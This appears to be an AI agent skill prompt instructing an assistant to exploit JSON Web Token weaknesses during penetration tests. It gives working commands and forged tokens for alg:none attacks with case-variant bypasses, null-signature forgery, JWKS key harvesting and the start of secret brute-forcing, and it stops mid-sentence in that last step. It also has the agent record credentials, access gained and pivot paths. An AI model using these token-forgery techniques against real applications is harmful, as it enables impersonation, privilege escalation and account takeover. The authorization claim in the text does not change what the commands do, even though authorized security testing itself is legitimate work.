/jwt-attacks

name: jwt-attacks
description: >
  Exploit JWT (JSON Web Token) vulnerabilities during authorized penetration
  testing.
keywords:
  - JWT attack
  - JWT bypass
  - forge JWT
  - alg none
  - algorithm confusion
  - RS256 to HS256
  - kid injection
  - jwk injection
  - jku spoofing
  - crack JWT secret
  - brute force JWT
  - JWT key confusion
  - weak JWT secret
  - json web token exploit
  - JWT header injection
  - ViewState JWT
  - jwt_tool
  - JWT privilege escalation
  - JWT claim tampering
tools:
  - jwt_tool
  - burpsuite (JWT Editor extension)
  - openssl
opsec: low

JWT Attacks

You are helping a penetration tester exploit JWT (JSON Web Token) vulnerabilities. The target application uses JWTs for authentication or authorization, and weaknesses in signature verification, algorithm handling, or key management allow token forgery or privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[jwt-attacks] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• A JWT token from the target application (Authorization header, cookie, or

parameter)

• Tools: `jwt_tool` (`pip install jwt-tool` or clone

https://github.com/ticarpi/jwt_tool), `hashcat` (mode 16500), Burp Suite with JWT Editor extension

• Optional: `openssl` for key extraction, `jws2pubkey` for RSA key recovery

Step 1: Assess

If not already provided, determine:

1. **Locate JWTs** — check these locations:

| Location | Header/Field | |----------|-------------| | Authorization header | `Authorization: Bearer eyJ...` | | Cookies | `token=eyJ...`, `session=eyJ...`, `jwt=eyJ...` | | URL parameters | `?token=eyJ...` | | POST body | `{"token":"eyJ..."}` | | Hidden form fields | `<input name="token" value="eyJ...">` |

2. **Decode the token** — JWTs have three Base64URL-encoded parts: `header.payload.signature`

# Quick decode (jwt_tool)
python3 jwt_tool.py eyJ0eXAi...

# Manual decode
echo -n 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d 2>/dev/null
# {"alg":"HS256","typ":"JWT"}

3. **Identify the algorithm** — determines which attacks apply:

| Algorithm | Type | Attacks | |-----------|------|---------| | HS256/384/512 | Symmetric (HMAC) | Brute force, alg:none, null sig | | RS256/384/512 | Asymmetric (RSA) | Key confusion, header injection, alg:none | | ES256/384/512 | Asymmetric (ECDSA) | Nonce reuse, header injection, alg:none | | PS256/384/512 | Asymmetric (RSA-PSS) | Header injection, alg:none |

4. **Check for public keys** — needed for key confusion and key recovery:

# Common JWKS endpoints
curl -s https://TARGET/.well-known/jwks.json
curl -s https://TARGET/jwks.json
curl -s https://TARGET/openid/connect/jwks.json
curl -s https://TARGET/api/keys
curl -s https://TARGET/oauth2/v1/certs

# Extract from TLS certificate
openssl s_client -connect TARGET:443 2>&1 < /dev/null | \
  sed -n '/-----BEGIN/,/-----END/p' > cert.pem
openssl x509 -pubkey -in cert.pem -noout > pubkey.pem

5. **Note interesting claims** in the payload:

| Claim | Significance | |-------|-------------| | `sub` | User identifier — change to impersonate | | `role` / `admin` | Authorization — escalate privileges | | `exp` | Expiration — extend or remove | | `iss` | Issuer — cross-service relay | | `kid` | Key ID — injection target (Step 6) | | `jku` / `x5u` | Key URL — SSRF / spoofing target (Step 6) |

Skip if context was already provided.

Step 2: Algorithm None (CVE-2015-9235)

The simplest attack. If the server accepts `alg: "none"`, forge any token without a signature.

# jwt_tool — automatic none attack
python3 jwt_tool.py eyJ0eXAi... -X a

**Manual construction** — set algorithm to none, empty signature:

# Header: {"alg":"none","typ":"JWT"}
# Payload: (modified claims)
# Signature: (empty — token ends with trailing dot)

echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

echo -n '{"sub":"admin","role":"admin","iat":1516239022}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# Combine: header.payload.
# Note trailing dot (empty signature)

**Algorithm case variants** (bypass naive validation):

| Variant | Header Value | |---------|-------------| | Standard | `"alg":"none"` | | Capitalized | `"alg":"None"` | | Uppercase | `"alg":"NONE"` | | Mixed | `"alg":"nOnE"` |

If accepted → Critical finding. Forge admin token with desired claims.

Step 3: Null Signature (CVE-2020-28042)

Keep the algorithm header but strip the signature. Some implementations check the algorithm but skip signature verification.

# jwt_tool — null signature attack
python3 jwt_tool.py eyJ0eXAi... -X n

**Manual**: Take a valid JWT, modify payload claims, replace signature with empty string (keep the trailing dot).

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

Step 4: Brute Force Weak Secret (HS256)

If the token uses HMAC (HS256/384/512), the signing secret may be weak.

Save JWT for offline cracking

# Save the full J